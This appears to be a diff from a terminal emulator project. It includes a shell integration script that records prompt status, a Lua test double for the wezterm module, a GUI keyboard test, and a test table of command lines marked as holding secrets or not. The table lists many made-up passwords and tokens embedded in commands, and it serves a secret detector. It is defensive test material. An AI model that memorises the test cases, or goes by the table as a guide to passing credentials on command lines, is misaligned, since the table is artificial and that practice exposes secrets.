# ~/.zshrc (zsh does not read /etc/profile.d on every system):
|
||||
#
|
||||
# [ -n "$LLEMBAS_TERM" ] && . /usr/share/llembas-term/shell/llembas-term.sh
|
||||
#
|
||||
# It does two things, and only inside LLeMbas TERM, only in an interactive shell:
|
||||
#
|
||||
# 1. Semantic zones and the working directory (OSC 133, OSC 7), by WezTerm's
|
||||
# own integration script, shipped beside this file as wezterm.sh. That is
|
||||
# what lets the terminal tell one command and its output from the next.
|
||||
# The WEZTERM_SHELL_SKIP_* variables documented in that file apply.
|
||||
# (Suggestions and the AI's autocomplete are drawn by the terminal itself
|
||||
# on the line these mark; nothing of them runs in the shell.)
|
||||
# 2. The pane's status record: at every prompt, and when a command starts, a
|
||||
# few lines that say where this shell stands - at its prompt or running a
|
||||
# command, how the last command ended, when, in which directory. It says
|
||||
# nothing of what the command was. It is how the terminal, and LLeMbas when
|
||||
# it types a command into this pane for you, know that the command has
|
||||
# ended. It goes two ways:
|
||||
# - the file pane-<LLEMBAS_TERM_PANE>.status in the status directory
|
||||
# ($LLEMBAS_TERM_STATUS_DIR, else $XDG_RUNTIME_DIR/llembas-term, else
|
||||
# $XDG_STATE_HOME/llembas-term), readable by you alone, replaced whole.
|
||||
# Not in a shell reached over SSH: the file would be on the wrong machine;
|
||||
# - the user variable llembas_term_status of the pane (OSC 1337 SetUserVar),
|
||||
# which reaches the terminal from another machine too.
|
||||
# LLEMBAS_TERM_SKIP_STATUS=1 turns it off.
|
||||
#
|
||||
# The record, a key=value line each:
|
||||
# llembas-term-status=1
|
||||
# id=<this shell: its process id and when it started>
|
||||
# seq=<up by one at every prompt>
|
||||
# state=prompt | running
|
||||
# exit=<status of the command before this prompt; absent before the first>
|
||||
# ran=1 (at a prompt: a command line ran since the prompt before)
|
||||
# time=<seconds since the epoch>
|
||||
# shell=bash | zsh
|
||||
# pid=<the shell's process id; not over SSH>
|
||||
# host=<the machine; only over SSH>
|
||||
# cwd=<the working directory>
|
||||
|
||||
if [ -z "${LLEMBAS_TERM-}" ]; then
|
||||
return 0
|
||||
fi
|
||||
# shellcheck disable=SC2166
|
||||
if [ -z "${BASH_VERSION-}" -a -z "${ZSH_NAME-}" ]; then
|
||||
return 0
|
||||
fi
|
||||
case "$-" in
|
||||
*i*) ;;
|
||||
*) return 0 ;;
|
||||
esac
|
||||
|
||||
if [ -n "${ZSH_NAME-}" ]; then
|
||||
# shellcheck disable=SC2296,SC2298 # zsh: the file being sourced
|
||||
__llembas_term_dir="${${(%):-%x}:A:h}"
|
||||
else
|
||||
__llembas_term_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" 2>/dev/null && pwd)"
|
||||
fi
|
||||
if [ -n "${LLEMBAS_TERM_SHELL_DIR-}" ]; then
|
||||
__llembas_term_dir="$LLEMBAS_TERM_SHELL_DIR"
|
||||
fi
|
||||
|
||||
# Not twice: a WezTerm installed beside us may have loaded the same script.
|
||||
if ! typeset -f __wezterm_semantic_precmd >/dev/null 2>&1; then
|
||||
if [ -r "$__llembas_term_dir/wezterm.sh" ]; then
|
||||
# shellcheck source=/dev/null
|
||||
. "$__llembas_term_dir/wezterm.sh"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "${LLEMBAS_TERM_SKIP_STATUS-}" != "1" ] && [ -z "${__llembas_term_seq-}" ]; then
|
||||
__llembas_term_seq=0
|
||||
__llembas_term_ran=
|
||||
__llembas_term_exit=
|
||||
__llembas_term_now="${EPOCHSECONDS-}"
|
||||
[ -n "$__llembas_term_now" ] || __llembas_term_now="$(date +%s)"
|
||||
__llembas_term_id="$$.$__llembas_term_now"
|
||||
if [ -n "${ZSH_NAME-}" ]; then
|
||||
__llembas_term_shell=zsh
|
||||
else
|
||||
__llembas_term_shell=bash
|
||||
fi
|
||||
|
||||
# The file, on the terminal's own machine only and for a pane with a number.
|
||||
__llembas_term_status_file=
|
||||
if [ -z "${SSH_CONNECTION-}" ] && [ -z "${SSH_TTY-}" ]; then
|
||||
case "${LLEMBAS_TERM_PANE-}" in
|
||||
'' | *[!0-9]*) ;;
|
||||
*)
|
||||
case "${LLEMBAS_TERM_STATUS_DIR-}" in
|
||||
/*) __llembas_term_status_file="$LLEMBAS_TERM_STATUS_DIR" ;;
|
||||
*)
|
||||
case "${XDG_RUNTIME_DIR-}" in
|
||||
/*) __llembas_term_status_file="$XDG_RUNTIME_DIR/llembas-term" ;;
|
||||
*)
|
||||
case "${XDG_STATE_HOME-}" in
|
||||
/*) __llembas_term_status_file="$XDG_STATE_HOME/llembas-term" ;;
|
||||
*) [ -z "${HOME-}" ] || __llembas_term_status_file="$HOME/.local/state/llembas-term" ;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
[ -z "$__llembas_term_status_file" ] || __llembas_term_status_file="$__llembas_term_status_file/pane-$LLEMBAS_TERM_PANE.status"
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# __llembas_term_record <state>: write the record both ways. The directory's
|
||||
# name is cut at a line break: a record is one fact a line.
|
||||
__llembas_term_record() {
|
||||
local now record cwd="${PWD%%$'\n'*}"
|
||||
now="${EPOCHSECONDS-}"
|
||||
[ -n "$now" ] || now="$(date +%s)"
|
||||
record="llembas-term-status=1
|
||||
id=$__llembas_term_id
|
||||
seq=$__llembas_term_seq
|
||||
state=$1"
|
||||
[ -z "$__llembas_term_exit" ] || record="$record
|
||||
exit=$__llembas_term_exit"
|
||||
if [ "$1" = prompt ] && [ -n "$__llembas_term_ran" ]; then
|
||||
record="$record
|
||||
ran=1"
|
||||
fi
|
||||
record="$record
|
||||
time=$now
|
||||
shell=$__llembas_term_shell"
|
||||
if [ -n "${SSH_CONNECTION-}" ] || [ -n "${SSH_TTY-}" ]; then
|
||||
record="$record
|
||||
host=${HOSTNAME:-${HOST:-unknown}}"
|
||||
else
|
||||
record="$record
|
||||
pid=$$"
|
||||
fi
|
||||
record="$record
|
||||
cwd=${cwd:0:1024}"
|
||||
if [ -n "$__llembas_term_status_file" ]; then
|
||||
# Made beside the file, closed to everybody else, then moved over it:
|
||||
# a reader sees the old record or the new one, never half of one.
|
||||
(
|
||||
umask 077
|
||||
[ -d "${__llembas_term_status_file%/*}" ] || mkdir -p "${__llembas_term_status_file%/*}"
|
||||
printf '%s\n' "$record" >"$__llembas_term_status_file.$$" &&
|
||||
mv -f "$__llembas_term_status_file.$$" "$__llembas_term_status_file"
|
||||
) 2>/dev/null
|
||||
fi
|
||||
if command -v base64 >/dev/null 2>&1; then
|
||||
if [ -z "${TMUX-}" ]; then
|
||||
printf '\033]1337;SetUserVar=%s=%s\007' llembas_term_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
|
||||
else
|
||||
# shellcheck disable=SC1003 # the backslash that ends tmux's passthrough
|
||||
printf '\033Ptmux;\033\033]1337;SetUserVar=%s=%s\007\033\\' llembas_term_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
__llembas_term_preexec() {
|
||||
__llembas_term_ran=1
|
||||
__llembas_term_record running
|
||||
}
|
||||
|
||||
__llembas_term_precmd() {
|
||||
local ret="$?"
|
||||
__llembas_term_seq=$((__llembas_term_seq + 1))
|
||||
# Before the first prompt no command of this shell has ended.
|
||||
if [ "$__llembas_term_seq" -gt 1 ]; then
|
||||
__llembas_term_exit="$ret"
|
||||
fi
|
||||
__llembas_term_record prompt
|
||||
__llembas_term_ran=
|
||||
return "$ret"
|
||||
}
|
||||
|
||||
if [ -n "${ZSH_NAME-}" ] || [ -n "${bash_preexec_imported-}" ]; then
|
||||
# First of the prompt's functions, so that $? is still the command's.
|
||||
precmd_functions=(__llembas_term_precmd "${precmd_functions[@]}")
|
||||
else
|
||||
PROMPT_COMMAND="__llembas_term_precmd${PROMPT_COMMAND:+;$PROMPT_COMMAND}"
|
||||
fi
|
||||
if [ -n "${ZSH_NAME-}" ]; then
|
||||
preexec_functions+=(__llembas_term_preexec)
|
||||
elif [ "${BASH_VERSINFO[0]}" -gt 4 ] || { [ "${BASH_VERSINFO[0]}" -eq 4 ] && [ "${BASH_VERSINFO[1]}" -ge 4 ]; }; then
|
||||
# bash 4.4 and newer expand PS0 after every command line that is about to
|
||||
# run, and never for an empty one. (bash-preexec, which WezTerm's script
|
||||
# brings, does not see a command line that is all one subshell.) What the
|
||||
# first expansion prints is the record's user variable; the second prints
|
||||
# nothing and notes, in this shell, that a command ran.
|
||||
__llembas_term_mark=
|
||||
# shellcheck disable=SC2016 # expanded by bash at each command, not here
|
||||
PS0="${PS0-}"'$(__llembas_term_record running)${__llembas_term_mark:$((__llembas_term_ran=1,0)):0}'
|
||||
elif [ -n "${bash_preexec_imported-}" ]; then
|
||||
preexec_functions+=(__llembas_term_preexec)
|
||||
else
|
||||
# Nothing tells a command from an empty line here: none is said to have run.
|
||||
:
|
||||
fi
|
||||
fi
|
||||
|
||||
unset __llembas_term_dir
|
||||
true
|
||||
@@ -1,59 +0,0 @@
|
||||
# shellcheck shell=bash
|
||||
# LLeMbas TTY: shell integration for bash and zsh.
|
||||
#
|
||||
# Sourced from /etc/profile.d by the package; or source it from ~/.bashrc or
|
||||
# ~/.zshrc (zsh does not read /etc/profile.d on every system):
|
||||
#
|
||||
# [ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh
|
||||
#
|
||||
# It does two things, and only inside LLeMbas TTY, only in an interactive shell:
|
||||
#
|
||||
# 1. Semantic zones and the working directory (OSC 133, OSC 7), by WezTerm's
|
||||
# own integration script, shipped beside this file as wezterm.sh. That is
|
||||
# what lets the terminal tell one command and its output from the next.
|
||||
# The WEZTERM_SHELL_SKIP_* variables documented in that file apply.
|
||||
# 2. Prompt autocomplete, when it was turned on (`autocomplete = true` in the
|
||||
# LLeMbas layer's options exports LLEMBAS_TTY_AUTOCOMPLETE=1). Off by default.
|
||||
|
||||
if [ -z "${LLEMBAS_TTY-}" ]; then
|
||||
return 0
|
||||
fi
|
||||
# shellcheck disable=SC2166
|
||||
if [ -z "${BASH_VERSION-}" -a -z "${ZSH_NAME-}" ]; then
|
||||
return 0
|
||||
fi
|
||||
case "$-" in
|
||||
*i*) ;;
|
||||
*) return 0 ;;
|
||||
esac
|
||||
|
||||
if [ -n "${ZSH_NAME-}" ]; then
|
||||
# shellcheck disable=SC2296,SC2298 # zsh: the file being sourced
|
||||
__llembas_tty_dir="${${(%):-%x}:A:h}"
|
||||
else
|
||||
__llembas_tty_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" 2>/dev/null && pwd)"
|
||||
fi
|
||||
if [ -n "${LLEMBAS_TTY_SHELL_DIR-}" ]; then
|
||||
__llembas_tty_dir="$LLEMBAS_TTY_SHELL_DIR"
|
||||
fi
|
||||
|
||||
# Not twice: a WezTerm installed beside us may have loaded the same script.
|
||||
if ! typeset -f __wezterm_semantic_precmd >/dev/null 2>&1; then
|
||||
if [ -r "$__llembas_tty_dir/wezterm.sh" ]; then
|
||||
# shellcheck source=/dev/null
|
||||
. "$__llembas_tty_dir/wezterm.sh"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "${LLEMBAS_TTY_AUTOCOMPLETE-}" = "1" ]; then
|
||||
if [ -n "${ZSH_NAME-}" ] && [ -r "$__llembas_tty_dir/autocomplete.zsh" ]; then
|
||||
# shellcheck source=/dev/null
|
||||
. "$__llembas_tty_dir/autocomplete.zsh"
|
||||
elif [ -n "${BASH_VERSION-}" ] && [ -r "$__llembas_tty_dir/autocomplete.bash" ]; then
|
||||
# shellcheck source=/dev/null
|
||||
. "$__llembas_tty_dir/autocomplete.bash"
|
||||
fi
|
||||
fi
|
||||
|
||||
unset __llembas_tty_dir
|
||||
true
|
||||
@@ -1,4 +1,4 @@
|
||||
-- LLeMbas TTY: a stand-in for the terminal's `wezterm` module, for the tests.
|
||||
-- LLeMbas TERM: a stand-in for the terminal's `wezterm` module, for the tests.
|
||||
-- It records what the layer asks the terminal to do and does none of it,
|
||||
-- except chmod, which is run for real so that the file mode can be checked.
|
||||
|
||||
@@ -11,10 +11,13 @@ function F.new(env)
|
||||
target_triple = env.target_triple or 'x86_64-unknown-linux-gnu',
|
||||
executable_dir = env.executable_dir or '/nonexistent/bin',
|
||||
home_dir = env.home_dir or '/nonexistent/home',
|
||||
config_file = env.config_file,
|
||||
handlers = {},
|
||||
logs = {},
|
||||
spawned = {},
|
||||
child_results = env.child_results or {},
|
||||
-- the terminal's own drawing part, when a test gives one (see F.native)
|
||||
llembas = env.native,
|
||||
}
|
||||
|
||||
-- wezterm.action.Name(args) and wezterm.action.Name { … } give a table
|
||||
@@ -96,6 +99,51 @@ function F.new(env)
|
||||
return w
|
||||
end
|
||||
|
||||
-- The terminal's own part (`wezterm.llembas`), recording what it is asked.
|
||||
function F.native()
|
||||
local n = { calls = {} }
|
||||
for _, name in ipairs { 'ask_line', 'ask_prefix', 'configure', 'notice', 'hint', 'status', 'set_private', 'command_ended', 'clear_history', 'configure_pane' } do
|
||||
n[name] = function(...)
|
||||
n.calls[#n.calls + 1] = { name, ... }
|
||||
return true
|
||||
end
|
||||
end
|
||||
-- the terminal's side of the autocomplete in words, and its data directory
|
||||
-- (a test sets n.status_text and n.dir)
|
||||
function n.complete_status()
|
||||
return n.status_text or 'engine: none'
|
||||
end
|
||||
-- is the pane's line the ask line (a test sets n.asking)
|
||||
function n.ask_active()
|
||||
return n.asking == true
|
||||
end
|
||||
function n.data_dir()
|
||||
return n.dir or ''
|
||||
end
|
||||
-- a path with its links followed (a test sets n.real[path])
|
||||
function n.real_path(path)
|
||||
return n.real and n.real[path] or path
|
||||
end
|
||||
function n.last(name)
|
||||
for i = #n.calls, 1, -1 do
|
||||
if n.calls[i][1] == name then
|
||||
return n.calls[i]
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
function n.count(name)
|
||||
local c = 0
|
||||
for _, call in ipairs(n.calls) do
|
||||
if call[1] == name then
|
||||
c = c + 1
|
||||
end
|
||||
end
|
||||
return c
|
||||
end
|
||||
return n
|
||||
end
|
||||
|
||||
-- A pane that records what is sent to it.
|
||||
function F.pane(spec)
|
||||
local p = {
|
||||
@@ -133,14 +181,28 @@ function F.pane(spec)
|
||||
return spec.cwd
|
||||
end
|
||||
function p:get_foreground_process_name()
|
||||
if self.program ~= nil then
|
||||
return self.program or nil
|
||||
end
|
||||
return spec.program
|
||||
end
|
||||
-- What the terminal says of the process in front of the pane. A test sets
|
||||
-- p.process: a table, or false for "it cannot say".
|
||||
function p:get_foreground_process_info()
|
||||
if self.process ~= nil then
|
||||
return self.process or nil
|
||||
end
|
||||
return spec.process
|
||||
end
|
||||
function p:get_domain_name()
|
||||
return spec.domain or 'local'
|
||||
end
|
||||
function p:tab()
|
||||
return spec.tab
|
||||
end
|
||||
function p:activate()
|
||||
self.activated = (self.activated or 0) + 1
|
||||
end
|
||||
function p:send_text(text)
|
||||
self.sent[#self.sent + 1] = { 'text', text }
|
||||
end
|
||||
@@ -149,18 +211,40 @@ function F.pane(spec)
|
||||
end
|
||||
function p:split(args)
|
||||
self.splits[#self.splits + 1] = args
|
||||
local new = F.pane { id = (spec.next_id or 100) + #self.splits }
|
||||
-- the command the layer started runs in the new pane: the shell that
|
||||
-- holds it, with the engine under it (or the engine itself)
|
||||
local words = {}
|
||||
for i, a in ipairs(args.args or {}) do
|
||||
words[i] = a
|
||||
end
|
||||
local process = { pid = 4000, executable = words[1], argv = words, children = {} }
|
||||
if words[1] == '/bin/sh' then
|
||||
process.executable = '/usr/bin/dash'
|
||||
local engine = {}
|
||||
for i = 5, #words do
|
||||
engine[#engine + 1] = words[i]
|
||||
end
|
||||
process.children = { [4001] = { pid = 4001, executable = engine[1], argv = engine, children = {} } }
|
||||
end
|
||||
local new = F.pane { id = (spec.next_id or 100) + #self.splits, process = process }
|
||||
self.last_split = new
|
||||
if spec.tab then
|
||||
table.insert(spec.tab.list, new)
|
||||
new.spec.tab = spec.tab
|
||||
end
|
||||
return new
|
||||
end
|
||||
return p
|
||||
end
|
||||
|
||||
function F.tab(panes)
|
||||
local t = { list = panes }
|
||||
function F.tab(panes, id)
|
||||
local t = { list = panes, id = id or 1 }
|
||||
function t:panes()
|
||||
return self.list
|
||||
end
|
||||
function t:tab_id()
|
||||
return self.id
|
||||
end
|
||||
for _, p in ipairs(panes) do
|
||||
p.spec.tab = t
|
||||
end
|
||||
@@ -173,8 +257,15 @@ function F.window(id)
|
||||
return self.id
|
||||
end
|
||||
function win:perform_action(action, pane)
|
||||
-- an action that takes nothing is given by its name alone (act.TogglePaneZoomState)
|
||||
if type(action) == 'function' then
|
||||
action = action()
|
||||
end
|
||||
self.actions[#self.actions + 1] = { action = action, pane = pane }
|
||||
end
|
||||
function win:active_pane()
|
||||
return self.active
|
||||
end
|
||||
function win:set_right_status(text)
|
||||
self.status = text
|
||||
end
|
||||
|
||||
Executable
+131
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env bash
|
||||
# The keys LLeMbas IDE has too, pressed for real: the built terminal in a window on a display
|
||||
# of its own (Xvfb), a small program in its pane that says what LLeMbas IDE says and keeps the
|
||||
# bytes it is sent, and keys pressed by xdotool.
|
||||
#
|
||||
# llembas/tests/keys-gui.sh <dir with llembas-term-gui>
|
||||
#
|
||||
# Three windows, one after the other:
|
||||
# 1. a pane that says llembas_ide=1: chords the terminal itself has (the ask key, the mode
|
||||
# key, the palette, the autocomplete-model key) arrive in the pane, each as the bytes the
|
||||
# keyboard protocol has for it, and the terminal does nothing of its own;
|
||||
# 2. the same pane after it asked for the keyboard protocol (as Neovim does): a chord the
|
||||
# terminal has nothing on arrives told apart as well, by the terminal's own encoder;
|
||||
# 3. a pane that says nothing: the ask key is the terminal's (what is typed next goes to
|
||||
# the ask line, not to the pane), and an ordinary key arrives as the one byte it always was.
|
||||
#
|
||||
# Needs Xvfb and xdotool, and a software OpenGL for the window. Where the window cannot be
|
||||
# made at all, that is said and the test stops with status 2: nothing was proven either way.
|
||||
set -uo pipefail
|
||||
BIN="$(cd "${1:?usage: keys-gui.sh <dir with the binaries>}" && pwd)"
|
||||
|
||||
work="$(mktemp -d)"
|
||||
xvfb=""
|
||||
term=""
|
||||
failed=0
|
||||
# shellcheck disable=SC2317 # reached through the trap
|
||||
cleanup() {
|
||||
if [ -n "$term" ]; then kill "$term" 2>/dev/null; wait "$term" 2>/dev/null; fi
|
||||
if [ -n "$xvfb" ]; then kill "$xvfb" 2>/dev/null; wait "$xvfb" 2>/dev/null; fi
|
||||
rm -rf "${work:?}"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
mkdir -p "$work/home" "$work/run" "$work/cfg"
|
||||
chmod 700 "$work/run"
|
||||
|
||||
say() { [ -z "${GITHUB_ACTIONS:-}" ] || printf '::%s title=keys-gui::%s\n' "$1" "$(printf '%s' "$2" | head -c 900 | tr '\n\r' ' ' | sed 's/%/%25/g')"; }
|
||||
ok() { echo "ok $1"; }
|
||||
bad() { echo "FAIL $1"; say error "$1"; failed=1; }
|
||||
unproven() { echo "SKIP $1"; say warning "not proven: $1"; exit 2; }
|
||||
|
||||
command -v Xvfb >/dev/null 2>&1 || unproven "no Xvfb here"
|
||||
command -v xdotool >/dev/null 2>&1 || unproven "no xdotool here"
|
||||
|
||||
display=":97"
|
||||
Xvfb "$display" -screen 0 1280x800x24 -nolisten tcp >"$work/xvfb.txt" 2>&1 &
|
||||
xvfb=$!
|
||||
for _ in $(seq 40); do
|
||||
DISPLAY="$display" xdotool getdisplaygeometry >/dev/null 2>&1 && break
|
||||
kill -0 "$xvfb" 2>/dev/null || unproven "Xvfb did not start: $(tail -c 300 "$work/xvfb.txt")"
|
||||
sleep 0.25
|
||||
done
|
||||
|
||||
xdo() { DISPLAY="$display" xdotool "$@"; }
|
||||
|
||||
# window <name> <what the program prints before it listens>: start the terminal with the
|
||||
# program in its pane; the bytes the pane is sent are kept in $work/<name>.bytes.
|
||||
window() {
|
||||
local name="$1" intro="$2" wid=""
|
||||
cat >"$work/$name.sh" <<PROGRAM
|
||||
#!/bin/sh
|
||||
printf '$intro'
|
||||
stty raw -echo
|
||||
: > "$work/$name.ready"
|
||||
exec cat > "$work/$name.bytes"
|
||||
PROGRAM
|
||||
chmod +x "$work/$name.sh"
|
||||
(exec env -i PATH=/usr/bin:/bin HOME="$work/home" XDG_RUNTIME_DIR="$work/run" XDG_CONFIG_HOME="$work/cfg" \
|
||||
DISPLAY="$display" LIBGL_ALWAYS_SOFTWARE=1 \
|
||||
"$BIN/llembas-term-gui" --config 'front_end="Software"' start --always-new-process -- "$work/$name.sh") >"$work/$name.txt" 2>&1 &
|
||||
term=$!
|
||||
for _ in $(seq 80); do
|
||||
[ -e "$work/$name.ready" ] && wid="$(xdo search --class eu.llembas.term 2>/dev/null | tail -n1)" && [ -n "$wid" ] && break
|
||||
kill -0 "$term" 2>/dev/null || break
|
||||
sleep 0.25
|
||||
done
|
||||
if [ -z "$wid" ] || [ ! -e "$work/$name.ready" ]; then
|
||||
unproven "the window could not be made here: $(tail -c 500 "$work/$name.txt")"
|
||||
fi
|
||||
xdo windowfocus --sync "$wid" 2>/dev/null || xdo windowfocus "$wid" 2>/dev/null
|
||||
sleep 1.5
|
||||
}
|
||||
|
||||
close_window() {
|
||||
if [ -n "$term" ]; then kill "$term" 2>/dev/null; wait "$term" 2>/dev/null; fi
|
||||
term=""
|
||||
}
|
||||
|
||||
press() { xdo key --delay 60 "$@"; sleep 0.6; }
|
||||
bytes() { od -An -tx1 "$work/$1.bytes" 2>/dev/null | tr -d ' \n'; }
|
||||
expect() { # what, got, wanted
|
||||
if [ "$2" = "$3" ]; then ok "$1"; else bad "$1: got [$2], wanted [$3]"; fi
|
||||
}
|
||||
|
||||
ok "the window is found by its class, eu.llembas.term (checked at each window below)"
|
||||
|
||||
# 1. LLeMbas IDE in front. OSC 1337 SetUserVar=llembas_ide=<base64 of 1>.
|
||||
window ide '\033]1337;SetUserVar=llembas_ide=MQ==\007'
|
||||
press ctrl+shift+a
|
||||
expect "IDE pane, Ctrl+Shift+A: CSI 97;6u" "$(bytes ide)" "1b5b39373b3675"
|
||||
press ctrl+Tab
|
||||
press ctrl+shift+p
|
||||
press ctrl+alt+m
|
||||
expect "IDE pane, then Ctrl+Tab, Ctrl+Shift+P, Ctrl+Alt+M: CSI 9;5u, CSI 112;6u, CSI 109;7u" "$(bytes ide)" \
|
||||
"1b5b39373b36751b5b393b35751b5b3131323b36751b5b3130393b3775"
|
||||
close_window
|
||||
|
||||
# 2. The same, and the program asked for the keyboard protocol (CSI > 1 u), as Neovim does.
|
||||
window kitty '\033]1337;SetUserVar=llembas_ide=MQ==\007\033[>1u'
|
||||
press ctrl+alt+shift+y
|
||||
expect "a program that asked for the protocol, Ctrl+Alt+Shift+Y (no key of the terminal): CSI 121;8u" "$(bytes kitty)" "1b5b3132313b3875"
|
||||
press ctrl+shift+a
|
||||
expect "and Ctrl+Shift+A after it, the same form" "$(bytes kitty)" "1b5b3132313b38751b5b39373b3675"
|
||||
close_window
|
||||
|
||||
# 3. Any other pane: the terminal's own keys, and an ordinary key as it always was.
|
||||
window plain ''
|
||||
press b
|
||||
expect "a pane that says nothing, the key b: the one byte" "$(bytes plain)" "62"
|
||||
press ctrl+shift+a
|
||||
press x
|
||||
expect "Ctrl+Shift+A there is the terminal's: what is typed next goes to the ask line, not the pane" "$(bytes plain)" "62"
|
||||
press Escape
|
||||
press c
|
||||
expect "and after Escape the pane has its keys again" "$(bytes plain)" "6263"
|
||||
close_window
|
||||
|
||||
if [ "$failed" -eq 0 ]; then
|
||||
echo "keys-gui: all passed"
|
||||
say notice "all passed: keys pressed in a real window reach an IDE pane as CSI u bytes, the protocol's encoder serves a program that asks, and any other pane is as before"
|
||||
fi
|
||||
exit "$failed"
|
||||
+2549
-240
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,284 @@
|
||||
# LLeMbas TERM: command lines that look as if they hold a secret, and ones that do not.
|
||||
#
|
||||
# One case a line: "+ " before a line that must be taken for one that holds a secret,
|
||||
# "- " before a line that must not. Both implementations of the rule are held to this
|
||||
# table: llembas/line/src/secret.rs (cargo test -p llembas-line) and core.looks_secret
|
||||
# (scripts/test-lua.sh). Nothing here is a real credential: every value is made up, and
|
||||
# shorter than the real thing where a real one has a fixed length.
|
||||
|
||||
# -- assignments and exports whose name says what it holds
|
||||
+ export OPENAI_API_KEY=sk-not-a-real-key
|
||||
+ export GITHUB_TOKEN=abc123
|
||||
+ API_KEY=abc123 ./deploy.sh
|
||||
+ MY_SECRET=hunter2 make release
|
||||
+ export DB_PASSWORD='correct horse'
|
||||
+ PGPASSWORD=hunter2 psql -h db.example.org -U app
|
||||
+ env MYSQL_PWD=hunter2 mysqldump shop
|
||||
+ export AWS_SECRET_ACCESS_KEY="madeUpValue"
|
||||
+ set -x CLIENT_SECRET madeup; export CLIENT_SECRET=madeup
|
||||
+ export passwd=hunter2
|
||||
+ CREDENTIALS=user:hunter2 ./run
|
||||
+ export HTTP_AUTH=alice:hunter2
|
||||
+ docker run -e POSTGRES_PASSWORD=hunter2 postgres
|
||||
+ docker run --env=API_TOKEN=abc123 app
|
||||
+ helm install db chart --set adminPassword=hunter2
|
||||
+ export TOKEN='$not-a-variable-in-single-quotes'
|
||||
+ git config --global user.signingkey=ABCDEF0123
|
||||
- export EDITOR=vim
|
||||
- export PATH=$HOME/.local/bin:$PATH
|
||||
- export GITHUB_TOKEN=$(gh auth token)
|
||||
- export API_KEY="$OTHER_KEY"
|
||||
- TOKEN=$CI_JOB_TOKEN ./deploy.sh
|
||||
- export PASSWORD=
|
||||
- export API_KEY
|
||||
- unset GITHUB_TOKEN
|
||||
- read -s PASSWORD
|
||||
- PWD=/tmp ls
|
||||
- cd "$OLDPWD"
|
||||
- SSH_AUTH_SOCK=/run/user/1000/keyring/ssh ssh example.org
|
||||
- XAUTHORITY=~/.Xauthority xterm
|
||||
- make CC=gcc -j8
|
||||
- LANG=C sort names.txt
|
||||
- echo $API_KEY
|
||||
- printenv GITHUB_TOKEN
|
||||
|
||||
# -- options that take a password, a token, a key
|
||||
+ mysql -u root -pS3cretWord shop
|
||||
+ mysqldump -pS3cretWord shop > shop.sql
|
||||
+ mariadb -uroot -phunter2
|
||||
+ mysql --password=hunter2 shop
|
||||
+ mysql --password hunter2 shop
|
||||
+ psql --password=hunter2
|
||||
+ wget --user=alice --password=hunter2 https://example.org/file
|
||||
+ gh auth login --with-token abc123
|
||||
+ vault login --token abc123def
|
||||
+ cli --api-key abc123 list
|
||||
+ cli --api-key=abc123 list
|
||||
+ cli --apikey abc123
|
||||
+ cli --secret abc123
|
||||
+ cli --client-secret=abc123
|
||||
+ cli --access-token abc123
|
||||
+ cli --auth-token=abc123
|
||||
+ sshpass -p hunter2 ssh example.org
|
||||
+ sshpass -phunter2 ssh example.org
|
||||
+ docker login -u alice -p hunter2 registry.example.org
|
||||
+ docker login --username alice --password hunter2
|
||||
+ echo hunter2 | docker login -u alice --password-stdin
|
||||
+ redis-cli -a hunter2 ping
|
||||
+ 7z a -phunter2 archive.7z files/
|
||||
+ unzip -P hunter2 archive.zip
|
||||
+ zip -P hunter2 out.zip file
|
||||
+ ldapsearch -D cn=admin -w hunter2 -b dc=example
|
||||
+ mongosh -u alice -p hunter2
|
||||
+ openssl rsa -in key.pem -passin pass:hunter2
|
||||
+ htpasswd -b .htpasswd alice hunter2
|
||||
+ echo 'hunter2' | sudo -S apt update
|
||||
+ echo "alice:hunter2" | chpasswd
|
||||
+ echo hunter2 | passwd --stdin alice
|
||||
- mysql -u root -p shop
|
||||
- mysql -u root -p
|
||||
- mysql -P 3306 -h db.example.org shop
|
||||
- psql --no-password shop
|
||||
- ssh -p 2222 example.org
|
||||
- mkdir -p build/out
|
||||
- cp -p a b
|
||||
- docker run -p 8080:80 nginx
|
||||
- docker run -u 1000:1000 app
|
||||
- docker run -u app:app app
|
||||
- git commit --author="Alice <alice@example.org>" -m fix
|
||||
- git log --author=alice
|
||||
- curl --key ~/.ssh/client.pem https://example.org
|
||||
- curl --key=/etc/ssl/client.pem https://example.org
|
||||
- ssh -i ~/.ssh/id_ed25519 example.org
|
||||
- ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519
|
||||
- sort --key=2 file.txt
|
||||
- gpg --keyserver hkps://keys.example.org --recv-keys ABCDEF01
|
||||
- tar -xpf archive.tar
|
||||
- grep -rn password src/
|
||||
- grep -i "password" config.yaml
|
||||
- grep -rn 'Authorization:' src/
|
||||
- vim ~/.config/app/token.json
|
||||
- cat secret.txt
|
||||
- ls secrets/
|
||||
- kubectl get secret app-credentials -o yaml
|
||||
- pass show email/work
|
||||
- man passwd
|
||||
- passwd alice
|
||||
- sudo -s
|
||||
- sudo -u postgres psql
|
||||
- unzip archive.zip
|
||||
- 7z x archive.7z
|
||||
- redis-cli ping
|
||||
- htpasswd -c .htpasswd alice
|
||||
- npm login
|
||||
- gh auth login
|
||||
- gh auth status
|
||||
|
||||
# -- name and password together
|
||||
+ curl -u alice:hunter2 https://example.org/api
|
||||
+ curl --user alice:hunter2 https://example.org/api
|
||||
+ curl --user=alice:hunter2 https://example.org/api
|
||||
+ curl -ualice:hunter2 https://example.org
|
||||
+ curl --proxy-user alice:hunter2 https://example.org
|
||||
+ git clone https://alice:hunter2@example.org/repo.git
|
||||
+ psql postgres://app:hunter2@db.example.org:5432/shop
|
||||
+ mongosh "mongodb://alice:hunter2@db.example.org/admin"
|
||||
+ pip install --index-url https://alice:abc123@pypi.example.org/simple pkg
|
||||
+ wget ftp://alice:hunter2@example.org/file
|
||||
- curl -u alice https://example.org/api
|
||||
- curl https://example.org/api
|
||||
